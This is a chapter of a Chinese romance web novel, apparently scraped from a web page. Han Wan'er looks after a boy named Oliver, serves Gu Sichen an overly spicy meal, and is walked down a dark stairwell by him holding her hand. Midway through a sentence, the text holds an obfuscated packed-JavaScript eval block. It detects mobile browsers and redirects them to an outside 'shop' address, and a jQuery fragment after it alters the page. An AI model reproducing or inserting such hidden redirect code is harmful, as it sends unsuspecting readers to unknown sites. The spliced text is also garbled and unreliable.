差不多二十分钟之后,韩莞尔带着奥利弗下楼。
顾斯辰依照约定将摩托车稳稳当当地停在路边。
奥利弗远远地看见摩托车,就跟只箭矢一样飞过去,可惜的是他毕竟还只有十岁,腿还有点短,爬上摩托车后座遇到了难处。
韩莞尔快步走上前,一把将他提溜上去,有些担心地看向顾斯辰,“真的安全吗?会不会你骑着骑着,后面的人就飞出去了?”
顾斯辰把头盔递给奥利弗,笑道:“要不你也坐上来,在后头托住他?”
“要是再加上我,岂不是更加危险?”韩莞尔一脸诧异地用手指着自己。
“怎么,你还真想坐上来试试?”顾斯辰笑得眉眼都弯了起来。
韩莞尔双手交叉在胸前,打算不再搭理顾斯辰,转过来叮嘱奥利弗,“你听见了吧,这个哥哥有多不靠谱,是你自己非要骑摩托车,那就自求多福吧。”
“哎呀,姐姐,我知道,我都知道,你咋比我爸还啰嗦。”奥利弗熟练地戴上头盔,特别自然地将双手牢牢箍住了顾斯辰的腰。
韩莞尔直接就给看傻眼了。
难道真的是她瞎操心了?这小孩看起来不像是第一次坐摩托车啊,一套动作十分熟练。
“那我们走咯。”顾斯辰伸出半边的胳膊,上下挥了挥,随后便发动了摩托车。
摩托车的反应速度极快,刹车一抬,只要人为一转动把手,就直接冲了出去。
“慢点,你们还是慢点骑吧。”韩莞尔不放心的在车后头喊道。
她也真是服了,要是被刘婧知道这事,估计会数落她一顿。
本身骑摩托车就是一项危险运动,她竟然还纵容奥利弗一个小孩这样子胡闹。
韩莞尔一手握拳,一下下敲击着另一只手的掌心,在自己家的窗户边走来走去。
时不时就看一下窗外,看看顾斯辰有没有带着奥利弗回来。
在焦急的等待中,时间变得格外漫长,一分钟堪比一小时,韩莞尔索性坐在沙发上刷起了手机,开始转移下自己的注意力。
好在大概“二十个”小时之后,门口响起了门铃声。
韩莞尔在门口监控器上看见了一大一小两个人,她激动地打开门,眼神在两人身上巡视,最后停在顾斯辰脸上,“诶,你怎么还送他上来了?”
顾斯辰单手抵住门,还没开口说话,奥利弗先替他说了:“是我让哥哥上来的,他和我们一样还没有吃饭。”
原本刘婧只准备了她和奥利弗两个人的饭量,现在多了个人,添双筷子是没问题,但饭是不够了。
在厨房里翻找一圈后,台面上倒是摆出了不少食材:泡面、年糕、紫菜饭团、蟹肉|棒、香肠、芝士片,芝士碎。
因为之前季晓向韩莞尔强烈安利了一款叫做“马克定食”的便利店美食,韩莞尔便买了一些食材想自己照着网上的教程做一下。
看来,今天就是她大展身手的好时机了。
说实话,虽然现在生活条件比以前艰苦了很多,但韩莞尔还是不怎么会做菜,这个“马克定食”毕竟用到的都是速食食材,还是比较容易操作成功的。
顾斯辰和奥利弗坐在餐桌边上翘首以待,当他们看到韩莞尔将一锅“大杂烩”摆上餐桌时,不免露出了怀疑的神情。
“你确定……这能吃?”顾斯辰用筷子敲了敲锅的边缘。
“你想想这些东西分开来都是好吃的,合在一起能难吃到哪里去?”韩莞尔边说边坐下。
奥利弗此时举起了小手,“我知道这个!‘马克定食’对吗?”
“哇,奥利弗真聪明。”韩莞尔忍不住给奥利弗一个大拇指。
顾斯辰第一个伸出筷子,夹起了一块年糕,放进嘴里品尝。
“怎么样?不难吃吧?”韩莞尔向他望去。
“感觉——”顾斯辰刻意顿了下,用漫不经心的口吻继续道:“你说得对,好吃的食物,合在一起也不会太难吃。”
韩莞尔大大舒了一口气。
“那我也要吃!”奥利弗举起筷子就自顾自地朝锅里伸去。
却不料在锅的上方被顾斯辰给拦截住了。
“这个小孩不能吃。”顾斯辰语气笃定。
“为什么?”韩莞尔好奇,趁其他两人还在僵持之时,先马上夹了一块年糕放嘴里。
一开始她还没感觉出有什么问题,可她嚼了几口,吞下的时候就感觉火|辣辣的,直接烧到喉咙里,让人忍不住咳嗽起来。
顾斯辰急忙给她递了一杯水。
韩莞尔喝了整整一杯水才缓过来,“这个怎么会这么辣?”
“火鸡面的酱料就是会比较辣的。”顾斯辰又为她添了一杯水。
韩秦和刘婧都是注重养生的人,总是会嘱咐家里的阿姨在做菜时少油少盐,辛辣的食物更是基本不会碰。
再加上阿姨本身自己也是偏好广东口味,在天天吃的都很清淡的情况下,韩莞尔从小就不太能吃辣。
看着一大锅还冒着热气的“马克定食”,韩莞尔犯了难。
这么辣的事物,她吃不了,也不敢让奥利弗一小孩吃,万一吃坏了肠胃,她的罪过可就大了。
那就只剩下……
“那个……顾斯辰,你能吃得下吗?”韩莞尔舔了舔唇瓣,慢吞吞地问道。
顾斯辰没说话,只是默默起身将锅直接端到了自己面前,向她比了个“OK”的手势。
“真有那么辣吗?”奥利弗还是很好奇究竟是个什么样的味道,偷偷又想把筷子伸过去。
这回是韩莞尔将他的手推回去,劝他打消念头:“听话,你还是吃你的火鸡|吧,‘马克定食’是属于你顾斯辰哥哥的。”
“哼,小气鬼!”奥利弗吐着舌头做了个鬼脸。
在无人注意的一瞬间,顾斯辰唇角悄悄上扬了一个弧度。
吃完晚饭之后,韩莞尔让顾斯辰带着奥利弗去客厅玩,自己留在厨房里负责收拾。
等她洗碗最后一只碗走出来的时候,竟然发现客厅里格外安静。
不知何时,奥利弗已经趴在沙发上睡着了,脸压在沙发上面成了小肉脸。
顾斯辰则背靠着沙发,坐在地毯上,一条腿曲着,另一边的小腿打横,手捂着腹部,脖子微微有些前倾。
他怎么了?是不舒服吗?
韩莞尔小心翼翼地走近,发现顾斯辰的脸色比想象中还要糟糕,眉头紧锁,额间似乎还有细细密密的汗珠。
韩莞尔的心猛地揪了一下。
她想起晚上那锅“马克定食”,她注意到后来顾斯辰一声不吭地都吃完了。
幸好家里备了医药箱,韩莞尔赶紧从里面翻出了胃药,又去倒了一杯温水。
“赶紧吃。”韩莞尔同时将药和水递到顾斯辰面前,并主动降低了说话的音量。
顾斯辰先拿了药,将正反面都看了一遍。
“这个胃药很管用的,直接先倒在嘴里,然后配水喝下去。”韩莞尔怕顾斯辰不信她,忍不住还用手比划起来。
顾斯辰轻轻挑眉,心中了然,按照韩莞尔说的,乖乖服下了药。
空气突然变得尴尬起来。
韩莞尔怕吵醒奥利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165525|196695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弗,便在顾斯辰身侧盘腿坐下,掏出手机给他发信息。
韩莞尔:你怎么不说你吃不了辣?
顾斯辰看到信息后,用奇怪的眼神看了眼和他肩并肩坐着的韩莞尔,那眼神似乎在说“你就在我旁边为什么还要发信息”。
韩莞尔用手指了指奥利弗,然后在嘴边比了个拉链的手势。
顾斯辰低下头,在手机屏幕上敲击了几下。
顾斯辰:今天考了一天的试,状态不佳。
韩莞尔:切,你就嘴硬吧。
顾斯辰看完消息,鼻腔里轻轻哼出一声,手指在屏幕上悬停片刻,终究没再回复。
“我回去了。”他收起手机,撑着沙发扶手站起身来,动作比平时迟缓了些。
韩莞尔攥着手机站起来:“我……我送你下楼吧。”
楼道里原本安装了声控感应灯,可韩莞尔连跺了好几脚,一盏灯都没亮。
凭借着周边商铺反射到窗户里的光,韩莞尔似乎感觉到顾斯辰向她投来质疑的目光。
“可能是灯坏了,平时跺下脚,灯就会亮起来。”韩莞尔赶紧给自己找补。
顾斯辰也试着用力跺了下,比韩莞尔前面跺的那几脚都要响,依然没亮灯。
“看来是真坏了。”
韩莞尔犹豫着要不要打开手机照明,突然感觉一阵微凉的风掠过指尖——
顾斯辰向她伸出了手。
月光从楼梯间的窗户斜斜地照进来,他的手掌悬在半空,五指微微张开,在昏暗光线中呈现出一种冷调的瓷白。
“走吧。”他只说了这两个字,声音低沉,听不出情绪。
韩莞尔的心跳突然漏了半拍,她盯着那只手看了足足三秒——骨节分明,修长有力。
她不确定自己该不该伸手,谁知下一秒,她的手就被一股不容拒绝的力量包裹住。
顾斯辰直接收拢手指,将她整只手包裹进温热的掌心里。他的力道不轻不重,带着一种理所当然的掌控感。
他的手比她想象中温暖得多,他牵着她往下走,每一步都走得很稳。
韩莞尔几乎能感觉到他掌心的纹路,略微粗糙的触感摩擦着她敏感的皮肤,激起一阵细微的战栗。她的手指不自觉地蜷缩了一下,却被他更用力地握住。
“看路。”顾斯辰头也不回地说,声音里带着命令式语气。
韩莞尔的脸烧了起来。她低着头,盯着两人交叠的手看。他的拇指无意识地在她手背上轻轻摩挲,像在安抚一只受惊的小动物。这个细微的动作让她的呼吸变得紊乱,胸腔里仿佛有蝴蝶在扑腾。
走出楼道时,顾斯辰突然停下脚步。韩莞尔猝不及防撞上他的后背,鼻尖吃痛,闻到一股淡淡的雪松香气。
“抱……抱歉……”她慌忙后退,却忘了手还被牵着。
顾斯辰转过身,松开了手,暖黄的路灯光晕染开来,将他的身影笼罩在一片柔和的暖调中。
他站在光与暗的交界处,让那个惯常冷硬的面庞莫名多了几分模糊的温柔。
“你胃还疼吗?”韩莞尔绞着手指,打破了沉默。
夜风吹乱了顾斯辰前额的碎发,在他眼底投下细碎的阴影,“好多了。”
韩莞尔有些不自然地伸出手,冲他拜拜,“那……明天见。”
“好,明天见。”顾斯辰说这话时,唇线稍稍松弛,像是冰封的湖面裂开一道细缝,泄露了底下流动的暖意。
韩莞尔呆立在原地,看着他骑车离去的背影,抬手摸了摸自己的脸颊,后知后觉地意识到自己的脸已经发烫到像是生病了一样。